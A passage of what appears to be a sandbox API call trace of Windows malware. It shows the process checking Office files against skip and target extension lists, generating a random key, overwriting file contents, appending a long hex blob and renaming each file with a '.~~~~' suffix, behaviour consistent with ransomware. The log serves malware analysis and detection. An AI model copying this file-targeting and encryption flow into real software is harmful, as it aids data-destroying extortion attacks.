	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".sys") returned 0x0
	[0079.852] lstrlenW (lpString=".msc") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".msc") returned 0x0
	[0079.852] lstrlenW (lpString=".com") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".com") returned 0x0
	[0079.852] lstrlenW (lpString=".lnk") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".lnk") returned 0x0
	[0079.852] lstrlenW (lpString=".msp") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".msp") returned 0x0
	[0079.852] lstrlenW (lpString=".pif") returned 4
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".pif") returned 0x0
	[0079.852] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.852] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.852] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0079.893] lstrlenW (lpString=".sqb") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".sqb") returned 0x0
	[0079.893] lstrlenW (lpString=".ost") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".ost") returned 0x0
	[0079.893] lstrlenW (lpString=".txt") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".txt") returned 0x0
	[0079.893] lstrlenW (lpString=".mdt") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".mdt") returned 0x0
	[0079.893] lstrlenW (lpString=".BDB") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".BDB") returned 0x0
	[0079.893] lstrlenW (lpString=".eql") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".eql") returned 0x0
	[0079.893] lstrlenW (lpString=".DBF") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DBF") returned 0x0
	[0079.893] lstrlenW (lpString=".EQL") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".EQL") returned 0x0
	[0079.893] lstrlenW (lpString=".FDB") returned 4
	[0079.893] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".FDB") returned 0x0
	[0079.893] lstrlenW (lpString=".EDB") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".EDB") returned 0x0
	[0079.894] lstrlenW (lpString=".DACPAC") returned 7
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DACPAC") returned 0x0
	[0079.894] lstrlenW (lpString=".VHD") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".VHD") returned 0x0
	[0079.894] lstrlenW (lpString=".DBV") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DBV") returned 0x0
	[0079.894] lstrlenW (lpString=".dacpac") returned 7
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dacpac") returned 0x0
	[0079.894] lstrlenW (lpString=".sdf") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".sdf") returned 0x0
	[0079.894] lstrlenW (lpString=".accdb") returned 6
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".accdb") returned 0x0
	[0079.894] lstrlenW (lpString=".DBX") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DBX") returned 0x0
	[0079.894] lstrlenW (lpString=".MDT") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".MDT") returned 0x0
	[0079.894] lstrlenW (lpString=".SQB") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".SQB") returned 0x0
	[0079.894] lstrlenW (lpString=".vhd") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".vhd") returned 0x0
	[0079.894] lstrlenW (lpString=".bac") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".bac") returned 0x0
	[0079.894] lstrlenW (lpString=".mdf") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".mdf") returned 0x0
	[0079.894] lstrlenW (lpString=".BAK") returned 4
	[0079.894] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".BAK") returned 0x0
	[0079.895] lstrlenW (lpString=".BAC") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".BAC") returned 0x0
	[0079.895] lstrlenW (lpString=".dbs") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dbs") returned 0x0
	[0079.895] lstrlenW (lpString=".vhdx") returned 5
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".vhdx") returned 0x0
	[0079.895] lstrlenW (lpString=".NDF") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".NDF") returned 0x0
	[0079.895] lstrlenW (lpString=".dat") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dat") returned 0x0
	[0079.895] lstrlenW (lpString=".DBS") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DBS") returned 0x0
	[0079.895] lstrlenW (lpString=".CKP") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".CKP") returned 0x0
	[0079.895] lstrlenW (lpString=".edb") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".edb") returned 0x0
	[0079.895] lstrlenW (lpString=".PST") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".PST") returned 0x0
	[0079.895] lstrlenW (lpString=".dbf") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dbf") returned 0x0
	[0079.895] lstrlenW (lpString=".SQL") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".SQL") returned 0x0
	[0079.895] lstrlenW (lpString=".pst") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".pst") returned 0x0
	[0079.895] lstrlenW (lpString=".dbv") returned 4
	[0079.895] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dbv") returned 0x0
	[0079.896] lstrlenW (lpString=".SDF") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".SDF") returned 0x0
	[0079.896] lstrlenW (lpString=".dtxs") returned 5
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dtxs") returned 0x0
	[0079.896] lstrlenW (lpString=".db3") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".db3") returned 0x0
	[0079.896] lstrlenW (lpString=".OST") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".OST") returned 0x0
	[0079.896] lstrlenW (lpString=".dbx") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dbx") returned 0x0
	[0079.896] lstrlenW (lpString=".DB3") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DB3") returned 0x0
	[0079.896] lstrlenW (lpString=".DAT") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DAT") returned 0x0
	[0079.896] lstrlenW (lpString=".VHDX") returned 5
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".VHDX") returned 0x0
	[0079.896] lstrlenW (lpString=".ndf") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".ndf") returned 0x0
	[0079.896] lstrlenW (lpString=".DB") returned 3
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DB") returned 0x0
	[0079.896] lstrlenW (lpString=".sql") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".sql") returned 0x0
	[0079.896] lstrlenW (lpString=".MYD") returned 4
	[0079.896] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".MYD") returned 0x0
	[0079.897] lstrlenW (lpString=".DBT") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DBT") returned 0x0
	[0079.897] lstrlenW (lpString=".ACCDB") returned 6
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".ACCDB") returned 0x0
	[0079.897] lstrlenW (lpString=".fdb") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".fdb") returned 0x0
	[0079.897] lstrlenW (lpString=".bak") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".bak") returned 0x0
	[0079.897] lstrlenW (lpString=".myd") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".myd") returned 0x0
	[0079.897] lstrlenW (lpString=".DTXS") returned 5
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".DTXS") returned 0x0
	[0079.897] lstrlenW (lpString=".ckp") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".ckp") returned 0x0
	[0079.897] lstrlenW (lpString=".dbt") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".dbt") returned 0x0
	[0079.897] lstrlenW (lpString=".db") returned 3
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".db") returned 0x0
	[0079.897] lstrlenW (lpString=".TXT") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".TXT") returned 0x0
	[0079.897] lstrlenW (lpString=".MDF") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".MDF") returned 0x0
	[0079.897] lstrlenW (lpString=".bdb") returned 4
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".bdb") returned 0x0
	[0079.897] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0079.897] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0079.897] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0079.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0079.898] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0079.899] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0079.899] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0079.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2809400
	[0079.899] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=19988898441) returned 1
	[0079.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x997cc110, dwHighDateTime=0x1d60e1e)) 
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x280b970
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0079.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b970 | out: hHeap=0x300000) returned 1
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd328
	[0079.899] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0079.899] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b6df0
	[0079.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd328 | out: hHeap=0x300000) returned 1
	[0079.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb5d0
	[0079.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.902] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0079.903] GetLastError () returned 0x0
	[0079.903] GetLastError () returned 0x0
	[0079.903] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0079.903] GetLastError () returned 0x0
	[0079.903] GetLastError () returned 0x0
	[0079.903] ReadFile (in: hFile=0x118, lpBuffer=0x281bfd8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesRead=0x1f8fec0*=0x11578, lpOverlapped=0x0) returned 1
	[0079.979] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffeea88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0079.979] WriteFile (in: hFile=0x118, lpBuffer=0x281bfd8*, nNumberOfBytesToWrite=0x11578, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x281bfd8*, lpNumberOfBytesWritten=0x1f8fec0*=0x11578, lpOverlapped=0x0) returned 1
	[0079.980] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281bfd8 | out: hHeap=0x300000) returned 1
	[0079.982] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0079.982] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0079.982] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0079.982] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0079.983] CloseHandle (hObject=0x118) returned 1
	[0079.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b6df0
	[0079.983] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.~~~~")) returned 1
	[0079.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b6df0 | out: hHeap=0x300000) returned 1
	[0079.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0079.984] GetLastError () returned 0x0
	[0079.984] RtlWakeConditionVariable () returned 0x365f70
	[0079.984] GetCurrentThreadId () returned 0xaf0
	[0079.984] GetCurrentThreadId () returned 0xaf0
	[0079.984] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2290
	[0079.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fb9f8 | out: hHeap=0x300000) returned 1
	[0079.984] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280b9a8 | out: hHeap=0x300000) returned 1
	[0079.985] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb9f8
	[0079.985] lstrlenW (lpString=".scr") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".scr") returned 0x0
	[0079.985] lstrlenW (lpString=".cmd") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".cmd") returned 0x0
	[0079.985] lstrlenW (lpString=".dll") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".dll") returned 0x0
	[0079.985] lstrlenW (lpString=".bat") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".bat") returned 0x0
	[0079.985] lstrlenW (lpString=".cpl") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".cpl") returned 0x0
	[0079.985] lstrlenW (lpString=".sys") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".sys") returned 0x0
	[0079.985] lstrlenW (lpString=".msc") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".msc") returned 0x0
	[0079.985] lstrlenW (lpString=".com") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".com") returned 0x0
	[0079.985] lstrlenW (lpString=".lnk") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".lnk") returned 0x0
	[0079.985] lstrlenW (lpString=".msp") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".msp") returned 0x0
	[0079.985] lstrlenW (lpString=".pif") returned 4
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".pif") returned 0x0
	[0079.985] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0079.985] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0079.985] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0080.084] lstrlenW (lpString=".sqb") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".sqb") returned 0x0
	[0080.084] lstrlenW (lpString=".ost") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".ost") returned 0x0
	[0080.084] lstrlenW (lpString=".txt") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".txt") returned 0x0
	[0080.084] lstrlenW (lpString=".mdt") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".mdt") returned 0x0
	[0080.084] lstrlenW (lpString=".BDB") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".BDB") returned 0x0
	[0080.084] lstrlenW (lpString=".eql") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".eql") returned 0x0
	[0080.084] lstrlenW (lpString=".DBF") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DBF") returned 0x0
	[0080.084] lstrlenW (lpString=".EQL") returned 4
	[0080.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".EQL") returned 0x0
	[0080.085] lstrlenW (lpString=".FDB") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".FDB") returned 0x0
	[0080.085] lstrlenW (lpString=".EDB") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".EDB") returned 0x0
	[0080.085] lstrlenW (lpString=".DACPAC") returned 7
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".DACPAC") returned 0x0
	[0080.085] lstrlenW (lpString=".VHD") returned 4
	[0080.085] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL", lpSrch=".VHD") returned 0x0
	[0080.085] lstrlenW (lpString=".DBV") returned 4
